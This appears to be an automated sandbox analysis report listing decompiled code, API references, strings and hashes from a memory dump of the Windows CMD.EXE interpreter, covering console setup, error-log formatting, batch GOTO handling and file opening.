0x0089973c
0x00899726
0x0089972a
0x0089972f
0x0089972f
0x0089973f
0x00899748
0x00899753
0x00899753
0x0089975e
0x00000000
0x00000000
0x00000000
0x00000000
0x00899764
0x00899764
0x0089976c
0x00899772
0x00899775
0x0089977e
0x00000000
0x00000000
0x00899788
0x00899793
0x00899796
0x00899799
0x00899799
0x0089979c
0x0089979e
0x008997a7
0x008997b6
0x008997bc
0x008997c1
0x008997c1
0x008997c9
0x00000000
0x008997cb
0x00000000
0x008997cb
0x008997c9
0x008997cd
0x008997d6
0x008997d9
0x008997de
0x008997e1
0x008997ec
0x008997ee
0x008997f3
0x00899714
0x00899714
0x00000000
0x00899714
0x008997fe
0x00899803
0x00000000
0x00000000
0x0089980d
0x00899810
0x00899818
0x00899818
0x00899820
0x00899826
0x0089982c
0x00899834
0x0089983d
0x00899843
0x00899843
0x00899834
0x00899845
0x00899847
0x00899857
0x00899857
0x00899717
0x00899667
0x00000000
0x00000000
0x00000000
0x00899667
0x008995f8
0x008995fa
0x008995fa
0x00899603
0x00899603
0x00899606
0x00899609
0x00899615
0x00000000
0x00000000
0x00899620
0x00899629
0x0089962f
0x00000000
0x0089962f
0x008995b8
0x008995bb
0x008995c2
0x008995c7
0x00000000
0x00000000
0x008995cb
0x008995d0
0x008995d2
0x008995d4
0x008995db
0x008995e7
0x00000000
0x008995e7
0x008995dd
0x00000000

APIs

_wcsupr.MSVCRT ref: 00899629
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000), ref: 0089968F
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00899697
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008996A7
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008996BD
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 008996C5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008996D5
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008996E9
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 0089974C
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00899753
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,00000001,?), ref: 0089976C
towupper.MSVCRT ref: 0089978D
wcschr.MSVCRT ref: 008997E6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00899818
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00899826

Part of subcall function 00880178: _get_osfhandle.MSVCRT ref: 00880183
Part of subcall function 00880178: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D

Part of subcall function 0087DB92: _close.MSVCRT ref: 0087DBC1

Strings

CMD.EXE, xrefs: 00899836
<noalias>, xrefs: 008996F9

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_close_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 2015057810-1690691951
Opcode ID: 056e94486f7bfa2c6f2242cfd628e9769130a4edf36b8bde5314b2f01812a1b3
Instruction ID: 052bfa1352d044f31f242e6babd263af6c7c290be6673af21d7341bbab5dd562
Opcode Fuzzy Hash: 056e94486f7bfa2c6f2242cfd628e9769130a4edf36b8bde5314b2f01812a1b3
Instruction Fuzzy Hash: F581A131A00218ABCF20BFACDC49AAE77B9FF45710F18022DF946E7291EB759945C761

Uniqueness

Uniqueness Score: -1.00%

Function 00891C79, Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 166
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00891C79(signed short* __ecx, signed int __edx, intOrPtr* _a4) {
				signed int _v8;
				short _v520;
				char* _v524;
				signed int _v528;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t39;
				intOrPtr _t45;
				signed short* _t50;
				void* _t53;
				void* _t54;
				signed short* _t58;
				void* _t59;
				void* _t60;
				signed short* _t65;
				void* _t74;
				intOrPtr* _t75;
				void* _t76;
				intOrPtr* _t77;
				signed int _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				void* _t82;

				_t73 = __edx;
				_t39 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t39 ^ _t78;
				_t65 = __ecx;
				_v528 = __edx;
				_t77 = _a4;
				if(__edx == 0 || __ecx == 0) {
					L31:
					return E00886FD0(0, _t65, _v8 ^ _t78, _t73, _t74, _t77);
				} else {
					_push(_t74);
					_t75 =  *0x8b807c;
					 *__ecx = 0;
					if(_t75 == 0 ||  *0x8b8081 == 0) {
						L5:
						_v524 = 0x8730d8;
						_t45 =  *_t77;
						if(_t45 == 0) {
							_v524 = "Exception";
						} else {
							_t59 = _t45 - 1;
							if(_t59 == 0) {
								_v524 = "ReturnHr";
							} else {
								_t60 = _t59 - 1;
								if(_t60 == 0) {
									_v524 = "LogHr";
								} else {
									if(_t60 == 1) {
										_v524 = "FailFast";
									}
								}
							}
						}
						_v520 = 0;
						FormatMessageW(0x1200, 0,  *(_t77 + 4), 0x400,  &_v520, 0x100, 0);
						_push( *((intOrPtr*)(_t77 + 0x48)));
						_push( *((intOrPtr*)(_t77 + 0x44)));
						_t76 = _t65 + _v528 * 2;
						if( *((intOrPtr*)(_t77 + 0x1c)) == 0) {
							_push(L"%hs!%p: ");
							_push(_t76);
							_push(_t65);
							_t50 = E008924CB();
							_t80 = _t79 + 0x14;
						} else {
							_push( *((intOrPtr*)(_t77 + 0x20)));
							_t50 = E008924CB(_t65, _t76, L"%hs(%d)\\%hs!%p: ",  *((intOrPtr*)(_t77 + 0x1c)));
							_t80 = _t79 + 0x1c;
						}
						_t65 = _t50;
						if( *((intOrPtr*)(_t77 + 0x4c)) != 0) {
							_t58 = E008924CB(_t65, _t76, L"(caller: %p) ",  *((intOrPtr*)(_t77 + 0x4c)));
							_t80 = _t80 + 0x10;
							_t65 = _t58;
						}
						_push( &_v520);
						_push( *(_t77 + 4));
						_push(GetCurrentThreadId());
						_push( *((intOrPtr*)(_t77 + 0x24)));
						_t53 = E008924CB(_t65, _t76, L"%hs(%d) tid(%x) %08X %ws", _v524);
						_t81 = _t80 + 0x20;
						if( *((intOrPtr*)(_t77 + 0xc)) != 0 ||  *((intOrPtr*)(_t77 + 0x28)) != 0 ||  *((intOrPtr*)(_t77 + 0x18)) != 0) {
							_push(L"    ");
							_push(_t76);
							_push(_t53);
							_t54 = E008924CB();
							_t82 = _t81 + 0xc;
							if( *((intOrPtr*)(_t77 + 0xc)) != 0) {
								_t54 = E008924CB(_t54, _t76, L"Msg:[%ws] ",  *((intOrPtr*)(_t77 + 0xc)));
								_t82 = _t82 + 0x10;
							}
							if( *((intOrPtr*)(_t77 + 0x28)) != 0) {
								_t54 = E008924CB(_t54, _t76, L"CallContext:[%hs] ",  *((intOrPtr*)(_t77 + 0x28)));
								_t82 = _t82 + 0x10;
							}
							if( *((intOrPtr*)(_t77 + 0x14)) == 0) {
								if( *((intOrPtr*)(_t77 + 0x18)) == 0) {
									_push("\n");
									_push(_t76);
									_push(_t54);
									E008924CB();
								} else {
									E008924CB(_t54, _t76, L"[%hs]\n",  *((intOrPtr*)(_t77 + 0x18)));
								}
							} else {
								_push( *((intOrPtr*)(_t77 + 0x14)));
								E008924CB(_t54, _t76, L"[%hs(%hs)]\n",  *((intOrPtr*)(_t77 + 0x18)));
							}
						}
						goto L30;
					} else {
						 *0x8b94b4(_t77, __ecx, __edx);
						 *_t75();
						if(( *__ecx & 0x0000ffff) != 0) {
							L30:
							_pop(_t74);
							goto L31;
						}
						goto L5;
					}
				}
			}

0x00891c79
0x00891c84
0x00891c8b
0x00891c91
0x00891c93
0x00891c9a
0x00891c9f
0x00891e72
0x00891e83
0x00891cad
0x00891cad
0x00891cae
0x00891cb6
0x00891cbb
0x00891cde
0x00891ce2
0x00891cec
0x00891cee
0x00891d23
0x00891cf0
0x00891cf0
0x00891cf3
0x00891d17
0x00891cf5
0x00891cf5
0x00891cf8
0x00891d0b
0x00891cfa
0x00891cfd
0x00891cff
0x00891cff
0x00891cfd
0x00891cf8
0x00891cf3
0x00891d35
0x00891d51
0x00891d61
0x00891d64
0x00891d67
0x00891d6a
0x00891d83
0x00891d88
0x00891d89
0x00891d8a
0x00891d8f
0x00891d6c
0x00891d6c
0x00891d79
0x00891d7e
0x00891d7e
0x00891d96
0x00891d98
0x00891da4
0x00891da9
0x00891dac
0x00891dac
0x00891db4
0x00891db5
0x00891dbe
0x00891dbf
0x00891dcf
0x00891dd6
0x00891ddc
0x00891dec
0x00891df1
0x00891df2
0x00891df3
0x00891df8
0x00891dff
0x00891e0b
0x00891e10
0x00891e10
0x00891e17
0x00891e23
0x00891e28
0x00891e28
0x00891e2f
0x00891e4c
0x00891e62
0x00891e67
0x00891e68
0x00891e69
0x00891e4e
0x00891e58
0x00891e5d
0x00891e31
0x00891e31
0x00891e3e
0x00891e43
0x00891e2f
0x00000000
0x00891cc5
0x00891cca
0x00891cd0
0x00891cd8
0x00891e71
0x00891e71
0x00000000
0x00891e71
0x00000000
0x00891cd8
0x00891cbb

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,?,00000400,?,00000100,00000000,?,?,00000000), ref: 00891D51
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 00891DB8

Strings

, xrefs: 00891DEC
Exception, xrefs: 00891D23
%hs(%d) tid(%x) %08X %ws, xrefs: 00891DC8
Msg:[%ws] , xrefs: 00891E04
CallContext:[%hs] , xrefs: 00891E1C
[%hs(%hs)], xrefs: 00891E37
%hs!%p: , xrefs: 00891D83
LogHr, xrefs: 00891D0B
FailFast, xrefs: 00891CFF
%hs(%d)\%hs!%p: , xrefs: 00891D72
[%hs], xrefs: 00891E51
(caller: %p) , xrefs: 00891D9D
ReturnHr, xrefs: 00891D17

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%d)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-2849347638
Opcode ID: ef00a9d02fb24aa4a40b194642904df68e4bccd9ebde1dd2065dacd06ac7218e
Instruction ID: 7bbe747e1d21233e493c7fef5e9b876086d4239330be89c79bf1b7936aa08ec6
Opcode Fuzzy Hash: ef00a9d02fb24aa4a40b194642904df68e4bccd9ebde1dd2065dacd06ac7218e
Instruction Fuzzy Hash: D5511071904305BBDF30BB698C0DEABB7B8FB44300F088959F56AD2662D675DA44DB22

Uniqueness

Uniqueness Score: -1.00%

Function 0087E560, Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0087E560(struct HINSTANCE__** __ecx, struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v24;
				int _v28;
				void* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v48;
				struct HINSTANCE__* _v552;
				struct HINSTANCE__* _v556;
				struct HINSTANCE__* _v560;
				struct HINSTANCE__* _v564;
				struct HINSTANCE__* _v568;
				intOrPtr _v572;
				void* _v576;
				void* _v580;
				void* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t60;
				struct HINSTANCE__* _t63;
				struct HINSTANCE__* _t67;
				struct HINSTANCE__* _t71;
				struct HINSTANCE__* _t72;
				struct HINSTANCE__ _t74;
				int _t77;
				int _t82;
				struct HINSTANCE__* _t84;
				struct HINSTANCE__* _t91;
				struct HINSTANCE__* _t92;
				void* _t93;
				struct HINSTANCE__* _t94;
				struct HINSTANCE__* _t95;
				struct HINSTANCE__* _t96;
				struct HINSTANCE__* _t108;
				struct HINSTANCE__** _t111;
				void* _t112;
				struct HINSTANCE__* _t118;
				struct HINSTANCE__ _t124;
				struct HINSTANCE__* _t143;
				void* _t144;
				struct HINSTANCE__* _t145;
				struct HINSTANCE__* _t147;
				void* _t148;
				struct HINSTANCE__* _t149;
				signed int _t150;
				signed int _t152;
				void* _t153;

				_t136 = __edx;
				_t152 = (_t150 & 0xfffffff8) - 0x234;
				_t60 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t60 ^ _t152;
				_t111 = __ecx;
				_v556 = __edx;
				_t147 = 0;
				_t143 = 1;
				_v564 = 0;
				_v560 = 1;
				_v552 = 0;
				if( *0x8b3cc4 != __ecx) {
					L79:
					_t63 = _t147;
					goto L33;
				} else {
					L2:
					while(1) {
						if( *0x89d544 != 0) {
							E0089921A(_t111, _t143);
							_t136 = _v556;
						}
						 *0x89d590 = 0;
						if( *0x8b3cc9 == 0 || _t143 == 0) {
							L5:
							_t145 = E00880662(_t111);
							if(_t145 == 0xffffffff) {
								goto L74;
							}
							_t67 = E0087EEF0(3, _t145, _t111[4]);
							_t147 = _t67;
							__imp___tell(_t145);
							_t111[2] = _t67;
							_t153 = _t152 + 4;
							_t8 = _t145 - 3; // -3
							_t118 = 0;
							_t136 = _t145;
							if(_t8 > 0x5b) {
								L9:
								__imp___close(_t145);
								_t152 = _t153 + 4;
								if(_t147 == 0) {
									goto L42;
								}
								if(_t147 == 1 ||  *0x8af980 == 0x234a) {
									E008982EB(_t118);
									__eflags =  *0x89d0c8 - 1;
									if( *0x89d0c8 == 1) {
										__eflags =  *0x8b8530;
										if( *0x8b8530 == 0) {
											E00896FF0(_t118);
											E0087C108(_t118, 0x2371, 1, 0x8a3892);
											_t152 = _t152 + 0xc;
										}
									}
									E00899287(_t118);
									__imp__longjmp(0x8ab8b8, 1);
									goto L79;
								} else {
									if(_t147 == 0xffffffff) {
										_t63 = _v564;
										goto L33;
									} else {
										_t143 = _v560;
										_t136 = _v552;
										goto L14;
									}
								}
							}
							if(_t145 > 0x1f) {
								_t49 = _t145 - 0x20; // -32
								_t108 = 1 + (_t49 >> 5);
								__eflags = _t108;
								_t118 = _t108;
								do {
									_t136 = _t136 - 0x20;
									_t108 = _t108 - 1;
									__eflags = _t108;
								} while (_t108 != 0);
							}
							asm("btr eax, edx");
							goto L9;
						} else {
							__eflags =  *((short*)( *((intOrPtr*)(_t136 + 0x38)))) - 0x3a;
							if( *((short*)( *((intOrPtr*)(_t136 + 0x38)))) != 0x3a) {
								goto L5;
							}
							_t147 = E008800B0(0x50);
							__eflags = _t147;
							if(_t147 == 0) {
								L74:
								_t63 = 1;
								L33:
								_pop(_t144);
								_pop(_t148);
								_pop(_t112);
								__eflags = _v8 ^ _t152;
								return E00886FD0(_t63, _t112, _v8 ^ _t152, _t136, _t144, _t148);
							}
							_t147->i = 0;
							_t71 = E0087DF40(L"GOTO");
							 *(_t147 + 0x38) = _t71;
							__eflags = _t71;
							if(_t71 == 0) {
								goto L74;
							}
							_t72 = E0087DF40( *((intOrPtr*)(_v556 + 0x38)));
							 *(_t147 + 0x3c) = _t72;
							__eflags = _t72;
							if(_t72 == 0) {
								goto L74;
							}
							_t136 = 1;
							_t72->i = 0x20;
							 *(_t147 + 0x40) = 0;
							_v552 = 1;
							L14:
							if(_t143 != 0) {
								__eflags = _t147;
								if(_t147 != 0) {
									_v560 = 0;
								}
							}
							_t124 = _t147->i;
							if(_t124 != 0 ||  *( *(_t147 + 0x38)) != 0x3a) {
								if(_t136 != 0) {
									_v552 = 0;
									_t74 = _t124;
								} else {
									_t74 = _t124;
									if( *0x89d0c8 == 1) {
										_t74 = _t124;
										__eflags = _t124 - 0x3b;
										if(_t124 != 0x3b) {
											__eflags =  *0x8b8530;
											_t74 = _t124;
											if( *0x8b8530 == 0) {
												E00896FF0(_t124);
												_t136 = 0;
												E00892ED0(_t147, 0);
												E008825D9(L"\r\n");
												_t74 = _t147->i;
												_t152 = _t152 + 4;
											}
										}
									}
								}
								if(_t74 == 0x3b) {
									_t147 =  *(_t147 + 0x38);
								}
								_v28 = 0;
								_v24 = 1;
								 *(_t152 + 0x23c) = 0x104;
								memset(_t152 + 0x24, 0, 0x104);
								_t152 = _t152 + 0xc;
								if(_v24 == 0) {
									_t77 = 0x104;
								} else {
									_t77 = 0x7fe7;
								}
								if(E00880C70(_t152 + 0x24, _t77) < 0) {
									E00880DE8(_t78, _t152 + 0x20);
									goto L74;
								} else {
									if(_t147 == 0) {
										_t147 = 0;
										_v564 = 0;
										L29:
										__imp__??_V@YAXPAX@Z(_v28);
										_t152 = _t152 + 4;
										goto L30;
									}
									if( *_t147 != 0 || E0087DFC0(0x2a,  *(_t147 + 0x38),  &_v564) != 0xffffffff) {
										L26:
										_t136 = _t147;
										_v564 = E00880E00(2, _t147);
										E008806C0(2);
										_t82 = GetConsoleOutputCP();
										 *0x8a3854 = _t82;
										GetCPInfo(_t82, 0x8a3840);
										_t149 =  *0x89d5f8; // 0x0
										if(_t149 == 0) {
											_t84 =  *0x89d0d0; // 0xffffffff
											__eflags = _t84 - 0xffffffff;
											if(_t84 != 0xffffffff) {
												L68:
												__eflags = _t84;
												if(_t84 != 0) {
													_t149 = GetProcAddress(_t84, "SetThreadUILanguage");
													 *0x89d5f8 = _t149;
												}
												L70:
												__eflags = _t149;
												if(_t149 != 0) {
													goto L27;
												}
												SetThreadLocale(0x409);
												L28:
												_t147 = _v568;
												goto L29;
											}
											_t84 = GetModuleHandleW(L"KERNEL32.DLL");
											_t149 =  *0x89d5f8; // 0x0
											 *0x89d0d0 = _t84;
											__eflags = _t84 - 0xffffffff;
											if(_t84 == 0xffffffff) {
												goto L70;
											}
											goto L68;
										}
										L27:
										 *0x8b94b4(0);
										_t149->i();
										goto L28;
									} else {
										_t91 = E0087D7D4( *(_t147 + 0x38), 0x2a);
										__eflags = _t91;
										if(_t91 != 0) {
											goto L26;
										}
										_t44 = _t91 + 0x3f; // 0x3f
										_t92 = E0087D7D4( *(_t147 + 0x38), _t44);
										__eflags = _t92;
										if(_t92 != 0) {
											goto L26;
										}
										_t141 = _v28;
										__eflags = _v28;
										if(__eflags == 0) {
											_t141 = _t152 + 0x20;
										}
										_t93 = E008810B0(_t147, _t141, __eflags,  *((intOrPtr*)(_t152 + 0x230)));
										__eflags = _t93 - 2;
										if(_t93 != 2) {
											goto L26;
										} else {
											__eflags =  *(_t147 + 0x34);
											if( *(_t147 + 0x34) == 0) {
												L62:
												_t94 = _v28;
												__eflags = _t94;
												if(__eflags == 0) {
													_t94 = _t152 + 0x20;
												}
												_t136 =  *_t111;
												_push(_t94);
												_push(_t111[1]);
												_t95 = E00881F52(_t111, _t147,  *_t111, _t143, _t147, __eflags);
												__eflags = _t95;
												if(_t95 != 0) {
													goto L72;
												} else {
													_t147 = 0;
													_v568 = 1;
													_v572 = 0;
													goto L29;
												}
											} else {
												_t136 = _t147;
												_t96 = E008976C0(_v556, _t147);
												__eflags = _t96;
												if(_t96 != 0) {
													L72:
													__imp__??_V@YAXPAX@Z(_v36);
													_t152 = _t152 + 4;
													_t63 = 1;
													goto L33;
												}
												goto L62;
											}
										}
									}
								}
							} else {
								L42:
								_t147 = _v564;
								L30:
								if( *0x8b3cc4 != _t111) {
									goto L79;
								}
								_t143 = _v560;
								_t136 = _v556;
								continue;
							}
						}
					}
				}
			}

0x0087e560
0x0087e568
0x0087e56e
0x0087e575
0x0087e57f
0x0087e581
0x0087e585
0x0087e589
0x0087e58e
0x0087e592
0x0087e596
0x0087e5a0
0x0088c011
0x0088c011
0x00000000
0x0087e5a6
0x00000000
0x0087e5b0
0x0087e5b7
0x0088be97
0x0088be9c
0x0088be9c
0x0087e5c4
0x0087e5cb
0x0087e5d5
0x0087e5dc
0x0087e5e1
0x00000000
0x00000000
0x0087e5f1
0x0087e5f7
0x0087e5f9
0x0087e5ff
0x0087e602
0x0087e605
0x0087e608
0x0087e60a
0x0087e60f
0x0087e62b
0x0087e62c
0x0087e632
0x0087e637
0x00000000
0x00000000
0x0087e640
0x0088bfcf
0x0088bfd4
0x0088bfdb
0x0088bfdd
0x0088bfe4
0x0088bfe6
0x0088bff7
0x0088bffc
0x0088bffc
0x0088bfe4
0x0088bfff
0x0088c00b
0x00000000
0x0087e656
0x0087e659
0x0087e794
0x00000000
0x0087e65f
0x0087e65f
0x0087e663
0x00000000
0x0087e663
0x0087e659
0x0087e640
0x0087e614
0x0088bea5
0x0088beab
0x0088beab
0x0088beac
0x0088beae
0x0088beae
0x0088beb1
0x0088beb1
0x0088beb1
0x0088beb6
0x0087e621
0x00000000
0x0087e7ad
0x0087e7b0
0x0087e7b4
0x00000000
0x00000000
0x0087e7c4
0x0087e7c6
0x0087e7c8
0x0088bfc5
0x0088bfc5
0x0087e798
0x0087e79f
0x0087e7a0
0x0087e7a1
0x0087e7a2
0x0087e7ac
0x0087e7ac
0x0087e7d3
0x0087e7d9
0x0087e7de
0x0087e7e1
0x0087e7e3
0x00000000
0x00000000
0x0087e7f0
0x0087e7f5
0x0087e7f8
0x0087e7fa
0x00000000
0x00000000
0x0087e805
0x0087e80a
0x0087e80d
0x0087e814
0x0087e667
0x0087e669
0x0087e81d
0x0087e81f
0x0087e827
0x0087e827
0x0087e81f
0x0087e66f
0x0087e673
0x0087e684
0x0087e832
0x0087e836
0x0087e68a
0x0087e691
0x0087e693
0x0087e89d
0x0087e89f
0x0087e8a2
0x0088bebb
0x0088bec2
0x0088bec4
0x0088beca
0x0088becf
0x0088bed3
0x0088bedd
0x0088bee2
0x0088bee4
0x0088bee4
0x0088bec4
0x0087e8a2
0x0087e693
0x0087e69c
0x0087e846
0x0087e846
0x0087e6ab
0x0087e6b9
0x0087e6c1
0x0087e6cc
0x0087e6d1
0x0087e6dc
0x0088beec
0x0087e6e2
0x0087e6e2
0x0087e6e2
0x0087e6f3
0x0088bfc0
0x00000000
0x0087e6f9
0x0087e6fb
0x0088bef6
0x0088bef8
0x0087e76b
0x0087e772
0x0087e778
0x00000000
0x0087e778
0x0087e704
0x0087e721
0x0087e721
0x0087e72d
0x0087e731
0x0087e736
0x0087e742
0x0087e747
0x0087e74d
0x0087e755
0x0088bf4d
0x0088bf52
0x0088bf55
0x0088bf72
0x0088bf72
0x0088bf74
0x0088bf82
0x0088bf84
0x0088bf84
0x0088bf8a
0x0088bf8a
0x0088bf8c
0x00000000
0x00000000
0x0088bf97
0x0087e767
0x0087e767
0x00000000
0x0087e767
0x0088bf5c
0x0088bf62
0x0088bf68
0x0088bf6d
0x0088bf70
0x00000000
0x00000000
0x00000000
0x0088bf70
0x0087e75b
0x0087e75f
0x0087e765
0x00000000
0x0087e84e
0x0087e856
0x0087e85b
0x0087e85d
0x00000000
0x00000000
0x0087e866
0x0087e869
0x0087e86e
0x0087e870
0x00000000
0x00000000
0x0087e876
0x0087e87d
0x0087e87f
0x0087e8ad
0x0087e8ad
0x0087e88a
0x0087e88f
0x0087e892
0x00000000
0x0087e898
0x0088bf01
0x0088bf05
0x0088bf1a
0x0088bf1a
0x0088bf21
0x0088bf23
0x0088bf25
0x0088bf25
0x0088bf29
0x0088bf2d
0x0088bf2e
0x0088bf31
0x0088bf36
0x0088bf38
0x00000000
0x0088bf3a
0x0088bf3a
0x0088bf3c
0x0088bf44
0x00000000
0x0088bf44
0x0088bf07
0x0088bf0b
0x0088bf0d
0x0088bf12
0x0088bf14
0x0088bfa2
0x0088bfa9
0x0088bfaf
0x0088bfb2
0x00000000
0x0088bfb2
0x00000000
0x0088bf14
0x0088bf05
0x0087e892
0x0087e704
0x0087e83d
0x0087e83d
0x0087e83d
0x0087e77b
0x0087e781
0x00000000
0x00000000
0x0087e787
0x0087e78b
0x00000000
0x0087e78b
0x0087e673
0x0087e5cb
0x0087e5b0

APIs

_tell.MSVCRT ref: 0087E5F9
_close.MSVCRT ref: 0087E62C
memset.MSVCRT ref: 0087E6CC
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 0087E736
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 0087E747
??_V@YAXPAX@Z.MSVCRT ref: 0087E772

Strings

SetThreadUILanguage, xrefs: 0088BF76
KERNEL32.DLL, xrefs: 0088BF57
GOTO, xrefs: 0087E7CE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleInfoOutput_close_tellmemset
String ID: GOTO$KERNEL32.DLL$SetThreadUILanguage
API String ID: 1380661413-3584302480
Opcode ID: 4eb2bfdb03e93c35fc2d830f616ba5d10257af2c2c1a790271336f610329ad05
Instruction ID: 30460840f60da1a6132970765b16f8f239e0c7799a44d8d0c20b2d50eddf8e75
Opcode Fuzzy Hash: 4eb2bfdb03e93c35fc2d830f616ba5d10257af2c2c1a790271336f610329ad05
Instruction Fuzzy Hash: 5AB1D270604301CBD724EF28D84472A77E5FF98318F148A69E94AD72A5EB34EC45CB93

Uniqueness

Uniqueness Score: -1.00%

Function 0087D120, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E0087D120(long __ecx, signed int __edx) {
				void _v8;
				long _v12;
				long _v16;
				long _v20;
				signed int _v24;
				long _v28;
				struct _SECURITY_ATTRIBUTES _v40;
				signed int _t34;
				long _t37;
				void* _t41;
				signed int _t44;
				signed int _t49;
				int _t54;
				signed char _t64;
				void* _t67;
				signed int _t71;
				long _t75;
				void* _t76;
				signed int _t78;
				signed int _t79;
				void* _t81;

				_t65 = __ecx;
				_t75 = 3;
				_v20 = __ecx;
				_t64 = __edx;
				_v16 = 3;
				_t71 = __edx & 0x00000003;
				_v40.bInheritHandle = 1;
				_v40.lpSecurityDescriptor = 0;
				_v40.nLength = 0xc;
				if(_t71 > 2) {
					L2:
					return _t34 | 0xffffffff;
				}
				_t34 = __edx & 0x00000009;
				if(_t34 != 9) {
					if(_t71 != 0) {
						_t78 = 0x40000000;
						__imp___wcsicmp(__ecx, L"con");
						_t81 = _t81 + 8;
						if(_t34 != 0) {
							_t75 = 1;
							_v16 = 1;
						}
						_t65 = _v20;
						_t37 = 2;
					} else {
						_t78 = 0x80000000;
						_t37 = 3;
					}
					_push(0);
					_push(0x80);
					if(_t64 == 0x10a) {
						_t41 = CreateFileW(_t65, _t78 | 0x80000000, _t75,  &_v40, 3, ??, ??);
						_t76 = _t41;
						if(_t76 != 0xffffffff) {
							goto L9;
						}
						_push(0);
						_push(0x80);
						_push(4);
						_push( &_v40);
						_push(_v16);
						_push(_t78);
						_push(_v20);
						goto L8;
					} else {
						_push(_t37);
						_push( &_v40);
						_push(_t75);
						_push(_t78);
						_push(_t65);
						L8:
						_t41 = CreateFileW();
						_t76 = _t41;
						if(_t76 == 0xffffffff) {
							_t54 = GetLastError();
							 *0x8b3cf0 = _t54;
							if(_t54 == 0x6e) {
								 *0x8b3cf0 = 2;
							}
							L28:
							_t44 = _t54 | 0xffffffff;
							L14:
							return _t44;
						}
						L9:
						__imp___open_osfhandle(_t76, 8);
						_t79 = _t41;
						if((_t64 & 0x00000008) != 0) {
							if(E00880178(_t41) != 0) {
								goto L10;
							}
							_t49 = GetFileSize(_t76,  &_v20);
							_v24 = _t49;
							if((_t49 | _v20) == 0) {
								goto L10;
							}
							_v12 = 0xffffffff;
							_v8 = 0;
							if(SetFilePointer(_t76, 0xffffffff,  &_v12, 2) == 0xffffffff) {
								_t54 = GetLastError();
								 *0x8b3cf0 = _t54;
								if(_t54 == 0) {
									goto L23;
								}
								if(_t79 == 0xffffffff) {
									_t54 = CloseHandle(_t76);
								} else {
									__imp___close(_t79);
								}
								goto L28;
							}
							L23:
							if(ReadFile(_t76,  &_v8, 1,  &_v28, 0) == 0) {
								_v12 = 0;
								SetFilePointer(_t76, 0,  &_v12, 2);
							}
							if(_v8 == 0x1a) {
								_v12 = 0xffffffff;
								SetFilePointer(_t76, 0xffffffff,  &_v12, 2);
							}
						}
						L10:
						_t9 = _t79 - 3; // -3
						_t67 = 0;
						if(_t9 <= 0x5b) {
							if(_t79 > 0x1f) {
								_t33 = _t79 - 0x20; // -32
								_t67 = (_t33 >> 5) + 1;
							}
							asm("bts eax, edx");
						}
						_t44 = _t79;
						goto L14;
					}
				}
				goto L2;
			}

0x0087d120
0x0087d12a
0x0087d12f
0x0087d132
0x0087d134
0x0087d137
0x0087d139
0x0087d140
0x0087d147
0x0087d151
0x0087d15c
0x00000000
0x0087d15c
0x0087d155
0x0087d15a
0x0087d16a
0x0087d1ea
0x0087d1ef
0x0087d1f5
0x0087d1fa
0x0087d1fc
0x0087d201
0x0087d201
0x0087d204
0x0087d207
0x0087d16c
0x0087d16c
0x0087d171
0x0087d171
0x0087d173
0x0087d175
0x0087d180
0x0087d221
0x0087d227
0x0087d22c
0x00000000
0x00000000
0x0087d232
0x0087d234
